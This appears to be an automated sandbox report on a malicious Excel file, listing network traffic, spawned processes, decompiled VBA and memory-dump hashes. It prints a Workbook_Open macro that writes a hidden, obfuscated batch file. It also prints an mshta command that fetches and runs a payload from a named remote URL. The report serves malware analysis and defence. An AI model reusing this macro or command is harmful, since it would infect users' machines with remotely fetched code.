2022-08-16 09:44:46 UTC	70	IN	Data Raw: 3b 63 26 26 28 65 2e 6c 3d 63 29 3b 64 26 26 0a 28 65 2e 6a 3d 64 29 3b 65 2e 43 3d 62 3b 62 3d 6b 61 28 29 3b 62 2e 42 3d 65 3b 62 2e 55 68 28 21 30 29 3b 62 3d 6b 61 28 29 3b 62 2e 69 67 28 61 29 3b 61 2e 6a 28 62 29 7d 7d 29 3b 0a 0a 5f 2e 5f 4d 6f 64 75 6c 65 4d 61 6e 61 67 65 72 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 21 5f 2e 68 61 29 7b 69 66 28 21 5f 2e 69 61 29 72 65 74 75 72 6e 3b 5f 2e 6a 61 28 29 7d 5f 2e 68 61 2e 68 67 28 61 2c 62 29 7d 3b 0a 0a 5f 2e 5f 4d 6f 64 75 6c 65 4d 61 6e 61 67 65 72 5f 69 6e 69 74 69 61 6c 69 7a 65 28 27 62 2f 73 79 30 2f 65 6c 5f 63 6f 6e 66 3a 31 2f 73 79 32 2f 73 79 31 3a 33 2f 73 79 34 2f 73 79 33 3a 31 2c 34 2c 35 2f 65 6c 5f 6d 61 69 6e 3a 36 2f 65 6c 5f 73 65 63 Data Ascii: ;c&&(e.l=c);d&&(e.j=d);e.C=b;b=ka();b.B=e;b.Uh(!0);b=ka();b.ig(a);a.j(b)}});_._ModuleManager_initialize=function(a,b){if(!_.ha){if(!_.ia)return;_.ja()}_.ha.hg(a,b)};_._ModuleManager_initialize('b/sy0/el_conf:1/sy2/sy1:3/sy4/sy3:1,4,5/el_main:6/el_sec
2022-08-16 09:44:46 UTC	71	IN	Data Raw: 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 61 5b 63 5d 29 3f 62 3d 62 5b 61 5b 63 5d 5d 3a 62 3d 62 5b 61 5b 63 5d 5d 3d 7b 7d 3a 62 3d 62 5b 61 5b 63 5d 5d 7c 7c 28 62 5b 61 5b 63 5d 5d 3d 7b 7d 29 3b 72 65 74 75 72 6e 20 62 7d 3b 4a 3d 7b 7d 3b 4d 53 47 5f 54 52 41 4e 53 4c 41 54 45 3d 22 54 72 61 6e 73 6c 61 74 65 22 3b 4a 5b 30 5d 3d 4d 53 47 5f 54 52 41 4e 53 4c 41 54 45 3b 4d 53 47 5f 43 41 4e 43 45 4c 3d 22 43 61 6e 63 65 6c 22 3b 4a 5b 31 5d 3d 4d 53 47 5f 43 41 4e 43 45 4c 3b 0a 4d 53 47 5f 43 4c 4f 53 45 3d 22 43 6c 6f 73 65 22 3b 4a 5b 32 5d 3d 4d 53 47 5f 43 4c 4f 53 45 3b 4d 53 47 46 55 4e 43 5f 50 41 47 45 5f 54 52 41 4e 53 4c 41 54 45 44 5f 54 4f 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 22 47 6f 6f 67 6c 65 20 68 61 73 20 74 72 Data Ascii: sOwnProperty(a[c])?b=b[a[c]]:b=b[a[c]]={}:b=b[a[c]]\|\|(b[a[c]]={});return b};J={};MSG_TRANSLATE="Translate";J[0]=MSG_TRANSLATE;MSG_CANCEL="Cancel";J[1]=MSG_CANCEL;MSG_CLOSE="Close";J[2]=MSG_CLOSE;MSGFUNC_PAGE_TRANSLATED_TO=function(a){return"Google has tr
2022-08-16 09:44:46 UTC	72	IN	Data Raw: 20 73 65 6e 74 20 74 6f 20 47 6f 6f 67 6c 65 20 66 6f 72 20 74 72 61 6e 73 6c 61 74 69 6f 6e 2c 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 2e 22 3b 4a 5b 31 34 5d 3d 4d 53 47 5f 53 53 4c 5f 49 4e 46 4f 5f 53 45 43 55 52 45 5f 50 41 47 45 3b 4d 53 47 5f 53 53 4c 5f 49 4e 46 4f 5f 49 4e 54 52 41 4e 45 54 5f 50 41 47 45 3d 22 54 68 65 20 63 6f 6e 74 65 6e 74 20 6f 66 20 74 68 69 73 20 69 6e 74 72 61 6e 65 74 20 70 61 67 65 20 77 69 6c 6c 20 62 65 20 73 65 6e 74 20 74 6f 20 47 6f 6f 67 6c 65 20 66 6f 72 20 74 72 61 6e 73 6c 61 74 69 6f 6e 2c 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 2e 22 3b 4a 5b 31 35 5d 3d 4d 53 47 5f 53 53 4c 5f 49 4e 46 4f 5f 49 4e 54 52 41 4e 45 54 5f 50 41 47 45 3b Data Ascii: sent to Google for translation, using a secure connection.";J[14]=MSG_SSL_INFO_SECURE_PAGE;MSG_SSL_INFO_INTRANET_PAGE="The content of this intranet page will be sent to Google for translation, using a secure connection.";J[15]=MSG_SSL_INFO_INTRANET_PAGE;
2022-08-16 09:44:46 UTC	73	IN	Data Raw: 4d 53 47 5f 4f 50 54 49 4f 4e 53 3d 22 4f 70 74 69 6f 6e 73 22 3b 4a 5b 32 39 5d 3d 4d 53 47 5f 4f 50 54 49 4f 4e 53 3b 4d 53 47 5f 54 55 52 4e 5f 4f 46 46 5f 54 52 41 4e 53 4c 41 54 49 4f 4e 5f 46 4f 52 5f 54 48 49 53 5f 53 49 54 45 3d 22 54 75 72 6e 20 6f 66 66 20 74 72 61 6e 73 6c 61 74 69 6f 6e 20 66 6f 72 20 74 68 69 73 20 73 69 74 65 22 3b 4a 5b 33 30 5d 3d 4d 53 47 5f 54 55 52 4e 5f 4f 46 46 5f 54 52 41 4e 53 4c 41 54 49 4f 4e 5f 46 4f 52 5f 54 48 49 53 5f 53 49 54 45 3b 0a 4a 5b 33 31 5d 3d 6e 75 6c 6c 3b 4d 53 47 5f 41 4c 54 5f 53 55 47 47 45 53 54 49 4f 4e 3d 22 53 68 6f 77 20 61 6c 74 65 72 6e 61 74 69 76 65 20 74 72 61 6e 73 6c 61 74 69 6f 6e 73 22 3b 4a 5b 33 32 5d 3d 4d 53 47 5f 41 4c 54 5f 53 55 47 47 45 53 54 49 4f 4e 3b 4d 53 47 5f 41 4c Data Ascii: MSG_OPTIONS="Options";J[29]=MSG_OPTIONS;MSG_TURN_OFF_TRANSLATION_FOR_THIS_SITE="Turn off translation for this site";J[30]=MSG_TURN_OFF_TRANSLATION_FOR_THIS_SITE;J[31]=null;MSG_ALT_SUGGESTION="Show alternative translations";J[32]=MSG_ALT_SUGGESTION;MSG_AL
2022-08-16 09:44:46 UTC	75	IN	Data Raw: 20 6f 66 20 74 68 65 20 77 65 62 20 70 61 67 65 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 2e 22 3b 4a 5b 34 35 5d 3d 4d 53 47 5f 4c 41 4e 47 55 41 47 45 5f 55 4e 53 55 50 50 4f 52 54 45 44 3b 4d 53 47 5f 4c 41 4e 47 55 41 47 45 5f 54 52 41 4e 53 4c 41 54 45 5f 57 49 44 47 45 54 3d 22 4c 61 6e 67 75 61 67 65 20 54 72 61 6e 73 6c 61 74 65 20 57 69 64 67 65 74 22 3b 4a 5b 34 36 5d 3d 4d 53 47 5f 4c 41 4e 47 55 41 47 45 5f 54 52 41 4e 53 4c 41 54 45 5f 57 49 44 47 45 54 3b 0a 5f 2e 75 62 28 22 5f 65 78 70 6f 72 74 56 65 72 73 69 6f 6e 22 2c 5f 2e 5f 65 78 70 6f 72 74 56 65 72 73 69 6f 6e 29 3b 5f 2e 75 62 28 22 5f 67 65 74 43 61 6c 6c 62 61 63 6b 46 75 6e 63 74 69 6f 6e 22 2c 5f 2e 5f 67 65 74 43 61 6c 6c 62 61 63 6b 46 75 6e 63 74 69 6f 6e 29 3b 5f Data Ascii: of the web page is not supported.";J[45]=MSG_LANGUAGE_UNSUPPORTED;MSG_LANGUAGE_TRANSLATE_WIDGET="Language Translate Widget";J[46]=MSG_LANGUAGE_TRANSLATE_WIDGET;_.ub("_exportVersion",_._exportVersion);_.ub("_getCallbackFunction",_._getCallbackFunction);_
2022-08-16 09:44:46 UTC	76	IN	Data Raw: 74 70 73 27 2b 27 3a 2f 2f 27 3b 20 63 2e 5f 70 61 68 3d 68 3b 20 63 2e 5f 70 61 73 3d 73 3b 20 63 6f 6e 73 74 20 62 3d 73 2b 27 74 72 61 6e 73 6c 61 74 65 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 27 3b 20 63 6f 6e 73 74 20 73 74 61 74 69 63 50 61 74 68 20 3d 20 27 2f 74 72 61 6e 73 6c 61 74 65 5f 73 74 61 74 69 63 2f 27 3b 20 63 2e 5f 70 63 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 74 65 5f 63 74 72 6c 33 2e 67 69 66 27 3b 20 63 2e 5f 70 6d 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 6d 69 6e 69 5f 67 6f 6f 67 6c 65 2e 70 6e 67 27 3b 20 63 2e 5f 70 62 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 74 65 5f 62 6b 2e 67 69 66 27 3b 20 63 2e 5f 70 6c 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 Data Ascii: tps'+'://'; c._pah=h; c._pas=s; const b=s+'translate.googleapis.com'; const staticPath = '/translate_static/'; c._pci=b+staticPath+'img/te_ctrl3.gif'; c._pmi=b+staticPath+'img/mini_google.png'; c._pbi=b+staticPath+'img/te_bk.gif'; c._pli=b+staticPath+'img
2022-08-16 09:44:46 UTC	77	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	11:44:23
Start date:	16/08/2022
Path:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0xfa0000
File size:	27110184 bytes
MD5 hash:	5D6638F2C8F8571C593999C58866007E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	1
Start time:	11:44:28
Start date:	16/08/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Imagebase:	0x1100000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	2
Start time:	11:44:28
Start date:	16/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	3
Start time:	11:44:29
Start date:	16/08/2022
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 8 127.0.0.1
Imagebase:	0x30000
File size:	18944 bytes
MD5 hash:	70C24A306F768936563ABDADB9CA9108
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	7
Start time:	11:44:37
Start date:	16/08/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c start /min taskkill /f /im WINWORD.EXE
Imagebase:	0x1100000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	8
Start time:	11:44:37
Start date:	16/08/2022
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im WINWORD.EXE
Imagebase:	0xd0000
File size:	74752 bytes
MD5 hash:	15E2E0ACD891510C6268CB8899F2A1A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	9
Start time:	11:44:38
Start date:	16/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	10
Start time:	11:44:39
Start date:	16/08/2022
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta http://facextrade.com.br/wp-includes/certificates/4.txt
Imagebase:	0x50000
File size:	13312 bytes
MD5 hash:	7083239CE743FDB68DFC933B7308E80A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

VBA Code

Call Graph

Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: EstaPastaDeTrabalho

Declaration

Line	Content
1	Attribute VB_Name = "EstaPastaDeTrabalho"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Non-Executed Functions

Subroutine
Workbook_OpenAPIs: 4, Strings: 12, Number of lines: 23, Relevance: 29.773

APIs	Meta Information
Environ
Open
Shell$
vbLf

Strings	Decrypted Strings
"Public"
"call getCmdPid.bat"
"set PID=%errorlevel%"
"call windowMode.bat -pid %PID% -mode hidden"
"cd C:\Users\Public"
"@echo off"
"Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D"
"cls"
"%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,1%%ao8:~18,1%%ao8:~44,1%%ao8:~35,1%%ao8:~24,1%%ao8:~39,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~21,1%.%ao8:~39,1%%ao8:~5,1%%ao8:~39,1%"
" </ul>"
" </ul>"
"cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit"

Line	Instruction	Meta Information
9	Private Sub Workbook_Open()
10	Dim iStage as Integer
11	Dim iCounter as Integer
12	Dim iPage as Integer
13	Dim sFile as String
14	sFile = Environ("Public") & "\Outlook.bat"	Environ
16	Close
17	Open sFile For Output As # 1	Open
18	Print # 1, "call getCmdPid.bat"
19	Print # 1, "set PID=%errorlevel%"
20	Print # 1, "call windowMode.bat -pid %PID% -mode hidden"
21	Print # 1, "cd C:\Users\Public"
22	Print # 1, "@echo off"
23	Print # 1, "Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D"
24	Print # 1, "cls"
25	Print # 1, "%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,1%%ao8:~18,1%%ao8:~44,1%%ao8:~35,1%%ao8:~24,1%%ao8:~39,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~21,1%.%ao8:~39,1%%ao8:~5,1%%ao8:~39,1%"
30	For iCounter = 2 To iStage
31	Print # 1, " </ul>"
32	iStage = iStage - 1
33	Next iCounter
33	Shell$ "cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit" & vbLf, 0	Shell$ vbLf
40	Close
43	End Sub

Module: Planilha1

Declaration

Line	Content
1	Attribute VB_Name = "Planilha1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Reset < >

Analysis Process: mshta.exePID: 4036, Parent PID: 3932COMMON

Executed Functions

Function 07895800 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.711125017.0000000007890000.00000010.00000800.00020000.00000000.sdmp, Offset: 07890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7890000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcb6823b013e57ac3bdbe7241c96160ce3f4d15feae488b47a24cdb2930f7e23
Instruction ID: 6a21117efbd62997e06693384bb0c87bbd820f8bf98a94e952b93b0adac4feef
Opcode Fuzzy Hash: fcb6823b013e57ac3bdbe7241c96160ce3f4d15feae488b47a24cdb2930f7e23
Instruction Fuzzy Hash: 3AF104B1E042059FDF16CF94C898BADB3A1AF99768F0D4079E915AB380D370EC61CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07891A00 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.711125017.0000000007890000.00000010.00000800.00020000.00000000.sdmp, Offset: 07890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7890000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebdcdbda4b04209591d6b5d571cf3c89318dcec91c8b4a7375dbf4296087a6c8
Instruction ID: 8a57343ce17c979716aff021e9f12aba3c7c292ec121f025716c4f5bb838e764
Opcode Fuzzy Hash: ebdcdbda4b04209591d6b5d571cf3c89318dcec91c8b4a7375dbf4296087a6c8
Instruction Fuzzy Hash: CE4138B1F082069FDF00CF54C889B69B7D6EB557A4F088169EA49DB381D3B0EC41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 078954F1 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.711125017.0000000007890000.00000010.00000800.00020000.00000000.sdmp, Offset: 07890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7890000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 102c5773db686913d6677d2b1f3cb267a041b472505b1bb3d7f2563bd31e5e9f
Instruction ID: 0a820c1ed3a4e55f3269862eba92e23782600437fcedddcb25907dc7691081d8
Opcode Fuzzy Hash: 102c5773db686913d6677d2b1f3cb267a041b472505b1bb3d7f2563bd31e5e9f
Instruction Fuzzy Hash: 5A41F5F0A00305EFDF41CF94D894AADB7E5EB58758F088139EA06EB281D370D961CB62

Uniqueness

Uniqueness Score: -1.00%

Function 07891E00 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.711125017.0000000007890000.00000010.00000800.00020000.00000000.sdmp, Offset: 07890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7890000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22deff8dc6759c57edc5a392d9ab10fd6ff19524a7372a7126879ab1f76f422
Instruction ID: 125d95a9d3ae50eb106f8521147c3fb14e005bb0fbab94f06de9f4700553f2ee
Opcode Fuzzy Hash: a22deff8dc6759c57edc5a392d9ab10fd6ff19524a7372a7126879ab1f76f422
Instruction Fuzzy Hash: 203104B0A0820A9FDF14CE48C889BA9B3D4EB59724F08456CEA65DB391D770EC51CB51

Uniqueness

Uniqueness Score: -1.00%

Function 07891C71 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.711125017.0000000007890000.00000010.00000800.00020000.00000000.sdmp, Offset: 07890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7890000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22b7dca6359c38cbe39d3ee3c2d3595b485e3969166fc82b9e9166cbcf7dc9c5
Instruction ID: 82e593bb2b266ce8fd1870673b18e55e8b3175bf5c618c5d0895d0f173644f1d
Opcode Fuzzy Hash: 22b7dca6359c38cbe39d3ee3c2d3595b485e3969166fc82b9e9166cbcf7dc9c5
Instruction Fuzzy Hash: 8B212BF1F5C21F96EF204A58894EE6922499B727FCF1C417AEC02EB250D371DC418692

Uniqueness

Uniqueness Score: -1.00%

Function 07891C7A Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.711125017.0000000007890000.00000010.00000800.00020000.00000000.sdmp, Offset: 07890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7890000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2d2780cc14445d1c6b63aa3d2a77d197625e1adfd44b4e70b5466111de7bd0f
Instruction ID: b40fdc20898066ee7fcccf047993a49e1fe54f80fbac399e1eab021022803c81
Opcode Fuzzy Hash: b2d2780cc14445d1c6b63aa3d2a77d197625e1adfd44b4e70b5466111de7bd0f
Instruction Fuzzy Hash: 4F014CF2F5C21F95DF104998A98EEB953459BB26FCF1C4137EC05E7240D361CC018691

Uniqueness

Uniqueness Score: -1.00%

Function 078925B2 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.711125017.0000000007890000.00000010.00000800.00020000.00000000.sdmp, Offset: 07890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7890000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28c0679c882530d8227506416858625fbfe8c0e0e6b371749ecad4312a0d7480
Instruction ID: 28d19822e92336c767c1e12497aaa63ecec07aac039834668ab64d1a817e07f3
Opcode Fuzzy Hash: 28c0679c882530d8227506416858625fbfe8c0e0e6b371749ecad4312a0d7480
Instruction Fuzzy Hash: 0EF0CDF05192D1AEDB224B288984B71BFE1AF27708F0D84EAD480DF167D2749886C311

Uniqueness

Uniqueness Score: -1.00%

Function 07896B4B Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.711125017.0000000007890000.00000010.00000800.00020000.00000000.sdmp, Offset: 07890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7890000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc314f27b81d90725b7d8884453c86dc99d714c41094cc3fefc3a54b8bb8945b
Instruction ID: b9ef2f49b0d5d7d2113b5862052c2bc22f296c6d9a11e04e4f5738130e0408a0
Opcode Fuzzy Hash: fc314f27b81d90725b7d8884453c86dc99d714c41094cc3fefc3a54b8bb8945b
Instruction Fuzzy Hash: ECE04FA610D3C64FD7038B64AC157C4BF90EF5317AF2843E7D8988A1A3D715546AD382

Uniqueness

Uniqueness Score: -1.00%

Function 07896259 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.711125017.0000000007890000.00000010.00000800.00020000.00000000.sdmp, Offset: 07890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7890000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ea1307dd2960f77c0217efb407630ca83eb50f59fdc958ffbf7ce3075e2167e
Instruction ID: 6477cd7bde1c821ee4c4c15ad785b9676e8abaf7eec0509d24fd2668532badb3
Opcode Fuzzy Hash: 7ea1307dd2960f77c0217efb407630ca83eb50f59fdc958ffbf7ce3075e2167e
Instruction Fuzzy Hash: BBC012F5E001009FCF00DF89C841889F7F8FFA4220F848555A668C7221D334E9248FA2

Uniqueness

Uniqueness Score: -1.00%

Function 07894E87 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.711125017.0000000007890000.00000010.00000800.00020000.00000000.sdmp, Offset: 07890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7890000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a583ec8d325cc414b3bc0b68d3eb4dc2206e620990f6da840accffacbe196d3b
Instruction ID: 9cf36ca3904938610d290a8bb5ec2ff01677f1174538c46032c8fa9c0c7d3c5d
Opcode Fuzzy Hash: a583ec8d325cc414b3bc0b68d3eb4dc2206e620990f6da840accffacbe196d3b
Instruction Fuzzy Hash: D0C08CF5A001408B8B01CF88C98084BF7E8FF94230F988045B55CCB221C630DE048BA1

Uniqueness

Uniqueness Score: -1.00%

Function 078961A3 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.711125017.0000000007890000.00000010.00000800.00020000.00000000.sdmp, Offset: 07890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7890000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd9a1727e5451f05454fa51767289517de11a0e761f1e2ccf3df99a43c01c266
Instruction ID: a68d36e443a59bc58be9a779e56684aeccfbd66e63e550e3bf5883a9871f0cee
Opcode Fuzzy Hash: dd9a1727e5451f05454fa51767289517de11a0e761f1e2ccf3df99a43c01c266
Instruction Fuzzy Hash: 9AB092B92142009B8B10CB58C840886B3E8BF98210B888955BA65C3A11D720EA188B91

Uniqueness

Uniqueness Score: -1.00%

Function 07894DBA Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.711125017.0000000007890000.00000010.00000800.00020000.00000000.sdmp, Offset: 07890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7890000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f264f1874eaa75d19177cbbae07812a0162551b2f2b3c4d20c8029443ef8939
Instruction ID: be7bf25c8012be7dd6fb01aeb60f430752326bec9036a44180a17960230d15ed
Opcode Fuzzy Hash: 0f264f1874eaa75d19177cbbae07812a0162551b2f2b3c4d20c8029443ef8939
Instruction Fuzzy Hash: 29B092B92102509B8B50CF48CC44887B3E4BF88210B848A55B669C3610D720E9188B91

Uniqueness

Uniqueness Score: -1.00%

Function 09C00FCF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.511254096.0000000009C00000.00000010.00000800.00020000.00000000.sdmp, Offset: 09C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_9c00000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction ID: cf9aded02940fef011ca3eaee41b3dee813f567582022a35224d0e4aea5de83e
Opcode Fuzzy Hash: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 09C00FD7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

